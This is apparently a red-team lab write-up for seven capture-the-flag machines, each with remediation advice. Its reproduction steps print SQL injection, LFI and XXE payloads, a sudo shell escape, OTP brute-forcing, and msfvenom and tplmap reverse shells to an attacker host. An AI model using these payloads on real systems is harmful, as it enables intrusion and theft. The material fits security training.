
Synack Red Team Assessment 

 

1. BashBlog 

 

Vulnerability type: IDOR, SQLi + Privilege Escalation 

Description: The attacker can change the admin password using the IDOR 

vulnerability. Once the attacker has access to admin panel he can exploit the SQLi 

gaining full access to the server. 

Severity: Critical 

Remediation: An Indirect Reference Map is an alternative design method to ‘Direct 

Object Reference’ that helps businesses avoid IDOR vulnerabilities. It replaces the 

actual references (such as user IDs, names, keys, etc.) with alternate IDs that map to 

the original values. The mapping between the alternate IDs and actual references is 

maintained safely on the servers. 

 

Steps to reproduce: 

 

1. Perform the nmap scan and find the open ports: 22 and 80 

└─$ nmap -sC -sV 10.129.127.127 

 

2. Go to http://10.129.127.127/reg and create a new account 

3. Go to http://10.129.127.127/settings/7 capture the request -> send to intruder 

and modify the user ID to change the password for all the members. As a wordlist, 

you can use numbers from 1 to 10. 



 

 

4. Logout and login with username garrison (it could be found in the “Loobs in Bash” 

topic) and with the password you set. 

5. Go to http://10.129.127.127/admin and type in the search input the following 

payload to confirm the SQL Injection vulnerability: ' or ''=' 

 

 

6. Capture the request save it as req.txt and use the sqlmap tool to extract the SMTP 

config. 

└─$ sqlmap -r req.txt --level=5 --risk=3 --dbms=mysql --dump -D blog -T 
config 



 

7. Use the following creds to log in on SSH service: 

User: garrison  

Password: gdtbth2021ballers!  

 

8. Type sudo -l to list the user’s privileges 

 

9. Type the following command: sudo /usr/bin/less /var/log/nginx/access.log 

10. Type: !/bin/bash to escalate the privileges 



 

 

 

 

2. HackerFanClub 

 

Vulnerability type: Local File Inclusion (LFI) 

Description: The attacker can read internal files through LFI vulnerability, in some 

cases, it can be easy to escalate to RCE. 

Severity: Critical 



Remediation:  The most effective solution to eliminating file inclusion vulnerabilities 

is to avoid passing user-submitted input to any filesystem/framework API. If this is not 

possible the application can maintain an allowed list of files, that may be included by 

the page, and then use an identifier (for example the index number) to access the 

selected file. Any request containing an invalid identifier has to be rejected, in this 

way, there is no attack surface for malicious users to manipulate the path. 

 

Steps to reproduce: 

 

1. Perform the nmap scan and find the open ports: 22 and 80 

└─$ nmap -sC -sV 10.129.127.143 

 

  

2. Go to http://10.129.127.143/?op=archive and change the op parameter with the 

following LFI payload: 

php://filter/convert.base64-encode/resource=index 

 

 

3. Use Burpsuite Decoder or another tool to decode the base64 data. 



 

 

 

 

 

 

3. HackerTunes 

 

Vulnerability type: Unrestricted File Upload 

Description: The attacker can upload malicious files on the server gaining full server 

access through exploiting an outdated Wordpress plugin. 

Severity: Critical 

Remediation: A whitelist provides system access only to administrator-approved 

programs, IPs, and email addresses. Creating a white list of allowed files enables you 

to avoid uploads of potentially malicious content to your site. The white list can 

include executables, scripts, and any other file type. 

 

Steps to reproduce: 

 

1. Perform the nmap scan and find the open ports: 22 and 80 

└─$ nmap -sV -sC 10.129.71.24 



 

 

2. Perform a wpscan on 10.129.71.24 HTTP service find the outdated “wpdiscuz” 

plugin. 

└─$ wpscan --url http://10.129.71.24/ -e ap, vp --plugins-detection 
aggressive 

 



 

3. Use the wp_wpdiscuz_unauthenticated_file_upload metasploit module and 

configure the options like: 

 

 

4. Run the exploit and check the meterpreter session 

 

 



 

 

4. Intranet 

 

Vulnerability type: SQL Injection 

Description: The attacker can extract information from the database, in some cases, 

this attack type can escalate to RCE.  

Severity: Critical 

Remediation: The attacker could abuse SQL Injection vulnerability to gain full server 

access. One option for protecting way to protect ourselves from this vulnerability is to 

“Parameterized Statements” which means a parameterized query is a means of pre-

compiling a SQL statement so that all you need to supply are the "parameters" that 

need to be inserted into the statement for it to be executed. 

 

Steps to reproduce: 

1. Perform the nmap scan and find the open ports: 22 and 80 

2. Go to http://10.129.127.220/forgot.php, put the following payload in the “Email 

address” input: test@test.com and capture the request. 

3. Send the request to repeater and add ‘ at the email end -> test@test.com’ .  

 

 



4. Extract the database name 

' UNiON SELECT group_concat(schema_name)+from+information_schema.schemata--
+- 

 

5. Extract the table names 

' UNiON SELECT 

group_concat(table_name)+from+information_schema.tables+where+table_schema=

'synack'--+- 

 

 

6. Extract the column names 

' UNiON SELECT 

group_concat(column_name)+from+information_schema.columns+where+table_name=
'flag'--+- 



 

7.  Read the flag 

' UNiON SELECT group_concat(id,flag)+from+flag--+- 

 

 

5. Kitty 

 

Vulnerability type: Weak Credentials escalate to RCE 

Description: The attacker can login to Tomcat web application using default 

credentials. Once the attacker has access to web app he can upload malicious files 

to create a reverse shell. 

Severity: Critical 

Remediation: Enforce a strong password policy. Don't permit weak passwords or 

passwords based on dictionary words. 

 

Steps to reproduce: 

1. Perform the nmap scan and find the open ports: 8080 



 

 

2. Find /manager/ directory through Bruteforce attack on HTTP service 

 

 

3. Go to http://10.129.71.28:8080/manager/, click cancel to ignore the HTTP basic 

auth 

 



4. Reload the page and login with the default creds: tomcat – tomcat 

 

 

5. Use msfvenom to generate a .war payload:  

└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.53 LPORT=80 -f 
war -o shell.war 

 

 

5. Upload the war shell and deploy it 

 



 

6. Set your listener: sudo nc -lvnp 80 

 

 

7. Access the shell location: 

http://10.129.71.28:8080/shell/ 

 

 

8. Check to nc listener 

 

 

9. Read the flag 



 

 

6. PhoneBook 

 

Vulnerability type: OTP code Bruteforce + XXE 

Description: The attacker can reset the admin password through OTP code brute-

force once the attacker has access to the admin panel, he can exploit the XXE 

vulnerability to compromise the server. 

Severity: Critical 

Remediation: Using CAPTCHA is a good way to prevent brute-force attacks. Use 

not only numbers but also characters which can make your OTP stronger.  

 

Steps to reproduce: 

1. Perform the nmap scan and find the open ports: 80, 135, 139, 443, 445 and 3306 

 

 



2. Go to http://10.129.127.158/forgot.php type the username “admin” submit the 

request, intercept it, and sent it to intruder. 

3. On pin parameter add a random value like “1234” 

 

4. On the payloads tab select “Numbers” from 1000 to 9999 and the “Step” will be 1. 

Start attack. 

 

 

5. Check the length to identify the correct response. 



 

 

6. Go to http://10.129.127.158/index.php and login with the user “admin” and the 

password that you already have. 

7. In the “lastname” input enter a random value, click on login and capture the 

request. 

 

 

 

8. Let’s check if there is a XXE vulnerability; set your python server on port 80 and do 

a request with the following XML content: 



<?xml version="1.0" ?> 

<!DOCTYPE r [ 

<!ELEMENT r ANY > 

<!ENTITY sp SYSTEM "http://<ip>:80/test"> 

]> 

<r>&sp;</r> 

 

 

8.1 Check the Python Web Server to confirm the vulnerability. 

 



 

9. Save the Burpsuite request as xxe1.txt, delete the XML content, and put the 

following “marker”: XXEINJECT 

 

 

10. Use XXEinjector tool to extract the Windows hash of the user that runs an 

application through XML injection (XXE). 

└─$ sudo ruby XXEinjector.rb --host=10.10.14.53 --file=xxe1.txt --hashes 

 

 

11. Check the msfconsole and get the flag. 

NOTE:  

Unfortunately, for some reason the second time I could not reproduce this 

vulnerability successfully to obtain a screenshot with the flag, but here it is 



HTB{L0V3_NTLM_AU7H}. My msfconsole log looks fine, I think it is a problem with 

PhoneBook machine. 

 

 

 

7. IppsecRocks 

 

Vulnerability type: Server-Side-Template-Injection (SSTI) escalate to RCE 

Description: The attacker can run execute commands on the server exploiting the 

SSTI vulnerability. 

Severity: Critical 

Remediation: One of the simplest ways to avoid introducing server-side template 

injection vulnerabilities is to always use a "logic-less" template engine, such as 

Mustache, unless absolutely necessary. 

 

Steps to reproduce: 

1. Perform the nmap scan and find the open ports: 22 and 80 

 

 

1. Go to http://10.129.127.172/ and type the following SSTI payload in the search 

input and submit: {{7*7}}, don’t forget to capture the request. 



 

 2. Set your listener: 

 sudo nc -lvnp 1234 

 

 3. Use the tplmap to exploit the SSTI vulnerability and get reverse shell 

python tplmap.py -X POST -u 'http://10.129.127.172/subscribe.php' -d 

'email=*' --reverse-shell 10.10.14.53 1234 



 

 

 

 

3. Use the following command to spawn the PTY shell:  

python3 -c "import pty; pty.spawn('/bin/bash')" 



 

 

 

Note:  

I want to mention that the remediation methods are just for the first vulnerability of 

every box and these are not the only possible solutions. 

 

 

Reference: 

https://owasp.org/www-project-top-ten/ 


